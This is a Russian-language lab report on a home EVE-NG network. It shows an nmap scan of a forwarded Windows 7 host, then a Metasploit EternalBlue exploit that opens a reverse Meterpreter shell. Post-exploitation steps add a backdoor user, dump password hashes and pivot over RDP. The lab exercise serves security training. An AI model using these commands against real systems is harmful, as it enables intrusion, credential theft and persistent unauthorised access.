# Практика №3. Эксплутация уязвимостей. MetaSplot Framework ## Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать) Для работы был скачан образ pnet-lab не требующий импорта. Образ был успешно разархивирован и запущен в vmware. ![](https://i.imgur.com/PZdgk5n.jpg) Далее в редакторе была построена инфраструктура организации. - Kali Linux - Linux Kali 2022 (2CPU, 2GB RAM) - pfSense - PfSense Firewall 2.6.0, default config (Qemu version 4.1.0, 2CPU, 2GB RAM, Primary Console VNC) - Switch - Cisco IOL-L2-ADVIPSERVICESK9 (2 port-groups) - Debian - Linux Debian 10 (1CPU, 1GB RAM) - Win-10 - Windows 10 (full) (2CPU, 2GB RAM) - Win-7 - Windows 7 (full) (QEMU 2.12, 4CPU, 4GB RAM) - Network: - Pfsense Default config (WAN-DHCP, LAN - static IP) - Internet - Cloud-1 ![](https://i.imgur.com/qpa8zex.jpg) :::spoiler Switch config ``` version 15.2 service timestamps debug datetime msec service timestamps log datetime msec no service password-encryption service compress-config ! hostname Switch ! boot-start-marker boot-end-marker ! ! ! no aaa new-model ! ! ! ! ! ! ! ! ip cef no ipv6 cef ! ! ! spanning-tree mode pvst spanning-tree extend system-id ! vlan internal allocation policy ascending ! ! ! ! ! ! ! ! ! ! ! ! ! ! interface Ethernet0/0 description To FireWall switchport trunk encapsulation dot1q switchport mode trunk ! interface Ethernet0/1 description Debian switchport mode access ! interface Ethernet0/2 description Win-7 switchport mode access ! interface Ethernet0/3 ! interface Ethernet1/0 description Win-10 switchport mode access ! interface Ethernet1/1 ! interface Ethernet1/2 ! interface Ethernet1/3 ! ip forward-protocol nd ! ! no ip http server no ip http secure-server ! ! ! ! ! control-plane ! ! line con 0 logging synchronous line aux 0 line vty 0 4 ! ! end ``` ::: :::spoiler pfSense interfaces ``` WAN (wan) -> vtnet0 -> v4/DHCP4: 192.168.19.134/24 LAN (lan) -> vtnet1 -> v4: 192.168.1.1/24 ``` ::: ## Настроить каждое устройство в соответсвии со следующими параметрами ### Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP pfSense выступает в роли DHCP сервера и выдает ip для машин. Kali ![](https://i.imgur.com/lUud1EB.jpg) Win-7 ![](https://i.imgur.com/mK758Ba.jpg) Win-10 ![](https://i.imgur.com/VALA78H.jpg) Debian *dhclient, чтобы он запросил IP у DHCP сервера* ![](https://i.imgur.com/Mm06Zlg.jpg) ### На PfSense выполнить проброс с внешних 445/tcp и 3389/tcp портов на аналогичные порты win-7 виртуальной машины Через win-7 в браузере была открыта панель настройки pfSense. Во вкладке firewall -> NAT были добавлены 2 правила для редиректа портов ![](https://i.imgur.com/H3JfIRw.jpg) :::spoiler Примечание Чтобы постоянно не менять настройки файервола на win-7 был назначен статический ip ![](https://i.imgur.com/7yOqsOE.jpg) ::: ## Выполнить сканирование внешнего интерфейса межсетевого экрана с помощью nmap и Nessus с целью обнаружения уязвимых сервисов Сканирование порта 192.168.19.134 с помощью команды `nmap -v -A -Pn 192.168.19.134`. :::spoiler Примечание `-A: Включает “агрессивное” сканирование: обнаружение ОС (-O), сканирование версий (-sV), сканирование скриптов (-sC) и трассировку (-traceroute).` `-v: включить расширенный вывод (выводит больше информации).` `-Pn: Расценивать все хосты как работающие - пропустить обнаружение хостов с помощью ping` ::: ``` Scanning 192.168.19.134 [1000 ports] Discovered open port 445/tcp on 192.168.19.134 Discovered open port 3389/tcp on 192.168.19.134 Completed Connect Scan at 23:15, 6.54s elapsed (1000 total ports) Initiating Service scan at 23:15 Scanning 2 services on 192.168.19.134 Completed Service scan at 23:17, 80.60s elapsed (2 services on 1 host) NSE: Script scanning 192.168.19.134. Initiating NSE at 23:17 Completed NSE at 23:17, 40.05s elapsed Initiating NSE at 23:17 Completed NSE at 23:17, 1.22s elapsed Initiating NSE at 23:17 Completed NSE at 23:17, 0.00s elapsed Nmap scan report for 192.168.19.134 Host is up (0.025s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 445/tcp open microsoft-ds Windows 7 Professional N 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open ssl/ms-wbt-server? | rdp-ntlm-info: | Target_Name: PC-WIN7 | NetBIOS_Domain_Name: PC-WIN7 | NetBIOS_Computer_Name: PC-WIN7 | DNS_Domain_Name: PC-win7 | DNS_Computer_Name: PC-win7 | Product_Version: 6.1.7601 |_ System_Time: 2023-04-24T16:17:09+00:00 | ssl-cert: Subject: commonName=PC-win7 | Issuer: commonName=PC-win7 | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2023-04-23T15:10:58 | Not valid after: 2023-10-23T15:10:58 | MD5: 5aba eaa5 8c68 03ae 6891 2103 de92 c52b |_SHA-1: c890 9251 8496 a9f4 c647 819d af5c 0e17 3980 e4d2 |_ssl-date: 2023-04-24T16:17:50+00:00; -4h00m00s from scanner time. Service Info: Host: PC-WIN7; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2023-04-24T16:17:12 |_ start_date: 2023-04-24T15:10:56 | smb2-security-mode: | 2.1: |_ Message signing enabled but not required | smb-os-discovery: | OS: Windows 7 Professional N 7601 Service Pack 1 (Windows 7 Professional N 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: PC-win7 | NetBIOS computer name: PC-WIN7\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2023-04-24T20:17:10+04:00 |_clock-skew: mean: -4h47m59s, deviation: 1h47m19s, median: -4h00m00s ``` ## Используя Metasploit Framework - получить доступ до Windows-7 виртуальной машины Подключение к Win-7 машине с использованием эксплойта eternalblue. `use exploit/windows/smb/ms17_010_eternalblue` ``` msf6 exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on 192.168.19.139:4444 [*] 192.168.19.138:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.19.138:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional N 7601 Service Pack 1 [*] 192.168.19.138:445 - Scanned 1 of 1 hosts (100% complete) [+] 192.168.19.138:445 - The target is vulnerable. [*] 192.168.19.138:445 - Connecting to target for exploitation. [+] 192.168.19.138:445 - Connection established for exploitation. [+] 192.168.19.138:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.19.138:445 - CORE raw buffer dump (44 bytes) [*] 192.168.19.138:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 192.168.19.138:445 - 0x00000010 73 69 6f 6e 61 6c 20 4e 20 37 36 30 31 20 53 65 sional N 7601 Se [*] 192.168.19.138:445 - 0x00000020 72 76 69 63 65 20 50 61 63 6b 20 31 rvice Pack 1 [+] 192.168.19.138:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.19.138:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.19.138:445 - Sending all but last fragment of exploit packet [*] 192.168.19.138:445 - Starting non-paged pool grooming [+] 192.168.19.138:445 - Sending SMBv2 buffers [+] 192.168.19.138:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.19.138:445 - Sending final SMBv2 buffers. [*] 192.168.19.138:445 - Sending last fragment of exploit packet! [*] 192.168.19.138:445 - Receiving response from exploit packet [+] 192.168.19.138:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.19.138:445 - Sending egg to corrupted connection. [*] 192.168.19.138:445 - Triggering free of corrupted buffer. [*] Sending stage (200774 bytes) to 192.168.19.138 [*] Meterpreter session 1 opened (192.168.19.139:4444 -> 192.168.19.138:20617) at 2023-04-26 00:14:59 +0300 [+] 192.168.19.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.19.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.19.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ``` ## Используя payload meterpreter ### Выполнить создание нового пользователя После создания сессии необходимо оставить ее работать в фоновом режиме `background` (`session -i *номер сессии*` чтобы подключиться обратно) и найти в списке модуль, который позволит добавить нового пользователя. ![](https://i.imgur.com/RrGBBCa.jpg) `use post/windows/manage/add_user` Далее настроить необходимые параметры ![](https://i.imgur.com/Sq0wGWg.jpg) `set username Hecker` `set password beluga` `set session 1` *сессия, с которой работает данный модуль. Список всех сессий: `sessions`* `set addtodomain false` *иначе выдает ошибку No DC is available for the specified domain or the domain does not exist* ![](https://i.imgur.com/3OVz4GF.jpg) ### Выполнить скриншот рабочего стола `screenshot` ![](https://i.imgur.com/e1tKcTQ.jpg) ### Получить все учетные записи, находящиеся в памяти системы С помощью скрипта `winenum.rb` получить информацию о системе ``` meterpreter > run winenum.rb [*] Running Windows Local Enumeration Meterpreter Script [*] New session on 192.168.1.100:445... [*] Saving general report to /home/user/.msf4/logs/scripts/winenum/PC-WIN7_20230426.1453/PC-WIN7_20230426.1453.txt [*] Output of each individual command is saved to /home/user/.msf4/logs/scripts/winenum/PC-WIN7_20230426.1453 [*] Checking if PC-WIN7 is a Virtual Machine ........ [*] UAC is Disabled [*] Running Command List ... [*] running command cmd.exe /c set [*] running command arp -a [*] running command net view [*] running command ipconfig /all [*] running command netstat -vb [*] running command netstat -nao [*] running command ipconfig /displaydns [*] running command net accounts [*] running command netstat -ns [*] running command route print [*] running command net localgroup [*] running command net share [*] running command net session [*] running command net group [*] running command net user [*] running command netsh firewall show config [*] running command net group administrators [*] running command net view /domain [*] running command net localgroup administrators [*] running command tasklist /svc [*] running command netsh wlan show drivers [*] running command netsh wlan show networks mode=bssid [*] running command gpresult /SCOPE COMPUTER /Z [*] running command gpresult /SCOPE USER /Z [*] running command netsh wlan show interfaces [*] running command netsh wlan show profiles [*] Running WMIC Commands .... [*] running command wmic useraccount list [*] running command wmic share get name,path [*] running command wmic nteventlog get path,filename,writeable [*] running command wmic logicaldisk get description,filesystem,name,size [*] running command wmic netlogin get name,lastlogon,badpasswordcount [*] running command wmic netclient list brief [*] running command wmic volume list brief [*] running command wmic service list brief [*] running command wmic group list [*] running command wmic netuse get name,username,connectiontype,localname [*] running command wmic product get name,version [*] running command wmic startup list full [*] running command wmic rdtoggle list [*] running command wmic qfe [*] Extracting software list from registry [*] Dumping password hashes... [*] Hashes Dumped [*] Getting Tokens... [*] All tokens have been processed [*] Done! ``` Необходимая информация лежит в net_user.txt ![](https://i.imgur.com/FhGy9Z9.jpg) ### Выполнить проксирование трафика во внутреннюю инфраструктуру exploit: default `windows/x64/meterpreter/reverse_tcp` Информацию о ip-адресе взломанной машины можно найти в ipconfig_all.txt ![](https://i.imgur.com/PVudLn5.png) С помощью команды `portfwd add -l 3390 -p 3389 -r 192.168.1.100` организовываем соединение с win-7 машиной Проверка наличия соединения на kali ![](https://i.imgur.com/BwHxZPb.jpg) Через RDP подключаемся к себе же, на тот порт который мы указали в `portfwd` (в данном случае 3390, хотя можно поставить любой другой свободный) и устанавливаем реверс соединение с win-7 `xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390` ![](https://i.imgur.com/T13RpYQ.jpg)